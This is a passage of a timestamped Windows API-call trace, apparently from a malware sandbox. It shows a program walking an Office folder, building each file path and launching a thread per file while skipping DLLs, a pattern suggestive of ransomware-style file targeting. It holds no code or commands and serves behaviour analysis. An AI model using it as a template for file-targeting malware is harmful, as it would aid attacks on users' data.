wcscmp (_String1="EXCEL_K_COL.HXK", _String2=".") returned 1 [0127.722] wcscmp (_String1="EXCEL_K_COL.HXK", _String2="..") returned 1 [0127.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202aec80 [0127.722] wcscpy (in: _Dest=0x202aec80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.722] wcscat (in: _Dest=0x202aec80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.722] wcscat (in: _Dest=0x202aec80, _Source="EXCEL_K_COL.HXK" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" [0127.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aec80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1914 [0127.723] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89452700, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89452700, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.DLL", cAlternateFileName="")) returned 1 [0127.723] wcscmp (_String1="EXPTOOWS.DLL", _String2=".") returned 1 [0127.723] wcscmp (_String1="EXPTOOWS.DLL", _String2="..") returned 1 [0127.724] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cfb800, ftCreationTime.dwHighDateTime=0x1cac79b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70cfb800, ftLastWriteTime.dwHighDateTime=0x1cac79b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.XLA", cAlternateFileName="")) returned 1 [0127.724] wcscmp (_String1="EXPTOOWS.XLA", _String2=".") returned 1 [0127.724] wcscmp (_String1="EXPTOOWS.XLA", _String2="..") returned 1 [0127.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202aef50 [0127.724] wcscpy (in: _Dest=0x202aef50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.724] wcscat (in: _Dest=0x202aef50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.724] wcscat (in: _Dest=0x202aef50, _Source="EXPTOOWS.XLA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA" [0127.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aef50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1918 [0127.725] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x13f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.VSL", cAlternateFileName="")) returned 1 [0127.725] wcscmp (_String1="FACILITY.VSL", _String2=".") returned 1 [0127.725] wcscmp (_String1="FACILITY.VSL", _String2="..") returned 1 [0127.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202aff10 [0127.725] wcscpy (in: _Dest=0x202aff10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.725] wcscat (in: _Dest=0x202aff10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.726] wcscat (in: _Dest=0x202aff10, _Source="FACILITY.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" [0127.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aff10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x191c [0127.727] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83340500, ftCreationTime.dwHighDateTime=0x1c937e6, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x83340500, ftLastWriteTime.dwHighDateTime=0x1c937e6, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLOCH.VRD", cAlternateFileName="")) returned 1 [0127.727] wcscmp (_String1="FLOCH.VRD", _String2=".") returned 1 [0127.727] wcscmp (_String1="FLOCH.VRD", _String2="..") returned 1 [0127.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x20504290 [0127.727] wcscpy (in: _Dest=0x20504290, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.728] wcscat (in: _Dest=0x20504290, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.728] wcscat (in: _Dest=0x20504290, _Source="FLOCH.VRD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" [0127.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1920 [0127.729] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOREST.CSS", cAlternateFileName="")) returned 1 [0127.729] wcscmp (_String1="FOREST.CSS", _String2=".") returned 1 [0127.729] wcscmp (_String1="FOREST.CSS", _String2="..") returned 1 [0127.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x20504690 [0127.729] wcscpy (in: _Dest=0x20504690, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.729] wcscat (in: _Dest=0x20504690, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.729] wcscat (in: _Dest=0x20504690, _Source="FOREST.CSS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS" [0127.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1924 [0127.731] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.CSS", cAlternateFileName="")) returned 1 [0127.731] wcscmp (_String1="GANTT.CSS", _String2=".") returned 1 [0127.731] wcscmp (_String1="GANTT.CSS", _String2="..") returned 1 [0127.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x20504210 [0127.731] wcscpy (in: _Dest=0x20504210, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.731] wcscat (in: _Dest=0x20504210, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.731] wcscat (in: _Dest=0x20504210, _Source="GANTT.CSS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS" [0127.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1928 [0127.732] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbba2a00, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfbba2a00, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x7fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VRD", cAlternateFileName="")) returned 1 [0127.732] wcscmp (_String1="GANTT.VRD", _String2=".") returned 1 [0127.732] wcscmp (_String1="GANTT.VRD", _String2="..") returned 1 [0127.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x20503810 [0127.733] wcscpy (in: _Dest=0x20503810, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.733] wcscat (in: _Dest=0x20503810, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.733] wcscat (in: _Dest=0x20503810, _Source="GANTT.VRD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" [0127.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20503810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x192c [0127.734] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4e570, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VSL", cAlternateFileName="")) returned 1 [0127.734] wcscmp (_String1="GANTT.VSL", _String2=".") returned 1 [0127.734] wcscmp (_String1="GANTT.VSL", _String2="..") returned 1 [0127.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x20503a10 [0127.735] wcscpy (in: _Dest=0x20503a10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.735] wcscat (in: _Dest=0x20503a10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.735] wcscat (in: _Dest=0x20503a10, _Source="GANTT.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" [0127.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20503a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1930 [0127.736] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74d63000, ftCreationTime.dwHighDateTime=0x1bbd3c6, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74d63000, ftLastWriteTime.dwHighDateTime=0x1bbd3c6, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="GR8GALRY.GRA", cAlternateFileName="")) returned 1 [0127.736] wcscmp (_String1="GR8GALRY.GRA", _String2=".") returned 1 [0127.736] wcscmp (_String1="GR8GALRY.GRA", _String2="..") returned 1 [0127.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202af2b0 [0127.736] wcscpy (in: _Dest=0x202af2b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.736] wcscat (in: _Dest=0x202af2b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.736] wcscat (in: _Dest=0x202af2b0, _Source="GR8GALRY.GRA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" [0127.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af2b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1934 [0127.738] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61152c00, ftCreationTime.dwHighDateTime=0x1c6e5fa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61152c00, ftLastWriteTime.dwHighDateTime=0x1c6e5fa, nFileSizeHigh=0x0, nFileSizeLow=0x94f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.HXS", cAlternateFileName="")) returned 1 [0127.738] wcscmp (_String1="GRAPH.HXS", _String2=".") returned 1 [0127.738] wcscmp (_String1="GRAPH.HXS", _String2="..") returned 1 [0127.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x20505390 [0127.738] wcscpy (in: _Dest=0x20505390, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.738] wcscat (in: _Dest=0x20505390, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.738] wcscat (in: _Dest=0x20505390, _Source="GRAPH.HXS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" [0127.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1938 [0127.739] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXC", cAlternateFileName="GRAPH_~1.HXC")) returned 1 [0127.739] wcscmp (_String1="GRAPH_COL.HXC", _String2=".") returned 1 [0127.740] wcscmp (_String1="GRAPH_COL.HXC", _String2="..") returned 1 [0127.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202af190 [0127.740] wcscpy (in: _Dest=0x202af190, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.740] wcscat (in: _Dest=0x202af190, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.740] wcscat (in: _Dest=0x202af190, _Source="GRAPH_COL.HXC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" [0127.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x193c [0127.741] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXT", cAlternateFileName="GRAPH_~1.HXT")) returned 1 [0127.746] wcscmp (_String1="GRAPH_COL.HXT", _String2=".") returned 1 [0127.746] wcscmp (_String1="GRAPH_COL.HXT", _String2="..") returned 1 [0127.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202ae380 [0127.746] wcscpy (in: _Dest=0x202ae380, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.746] wcscat (in: _Dest=0x202ae380, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.746] wcscat (in: _Dest=0x202ae380, _Source="GRAPH_COL.HXT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" [0127.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1774 [0127.918] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_F_COL.HXK", cAlternateFileName="GRAPH_~1.HXK")) returned 1 [0127.918] wcscmp (_String1="GRAPH_F_COL.HXK", _String2=".") returned 1 [0127.918] wcscmp (_String1="GRAPH_F_COL.HXK", _String2="..") returned 1 [0127.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b2f0 [0127.918] wcscpy (in: _Dest=0x1cf4b2f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.918] wcscat (in: _Dest=0x1cf4b2f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.918] wcscat (in: _Dest=0x1cf4b2f0, _Source="GRAPH_F_COL.HXK" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" [0127.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19fc [0127.920] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_K_COL.HXK", cAlternateFileName="GRAPH_~2.HXK")) returned 1 [0127.920] wcscmp (_String1="GRAPH_K_COL.HXK", _String2=".") returned 1 [0127.920] wcscmp (_String1="GRAPH_K_COL.HXK", _String2="..") returned 1 [0127.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b410 [0127.920] wcscpy (in: _Dest=0x1cf4b410, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.921] wcscat (in: _Dest=0x1cf4b410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.921] wcscat (in: _Dest=0x1cf4b410, _Source="GRAPH_K_COL.HXK" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" [0127.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a00 [0127.922] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x32d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL", cAlternateFileName="")) returned 1 [0127.922] wcscmp (_String1="GRINTL32.DLL", _String2=".") returned 1 [0127.922] wcscmp (_String1="GRINTL32.DLL", _String2="..") returned 1 [0127.922] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x9380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.IDX_DLL", cAlternateFileName="GRINTL~1.IDX")) returned 1 [0127.922] wcscmp (_String1="GRINTL32.DLL.IDX_DLL", _String2=".") returned 1 [0127.922] wcscmp (_String1="GRINTL32.DLL.IDX_DLL", _String2="..") returned 1 [0127.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20507ff0 [0127.922] wcscpy (in: _Dest=0x20507ff0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.923] wcscat (in: _Dest=0x20507ff0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.923] wcscat (in: _Dest=0x20507ff0, _Source="GRINTL32.DLL.IDX_DLL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" [0127.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a04 [0127.924] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x18780, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.IDX_DLL", cAlternateFileName="GRINTL~2.IDX")) returned 1 [0127.924] wcscmp (_String1="GRINTL32.REST.IDX_DLL", _String2=".") returned 1 [0127.924] wcscmp (_String1="GRINTL32.REST.IDX_DLL", _String2="..") returned 1 [0127.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20508090 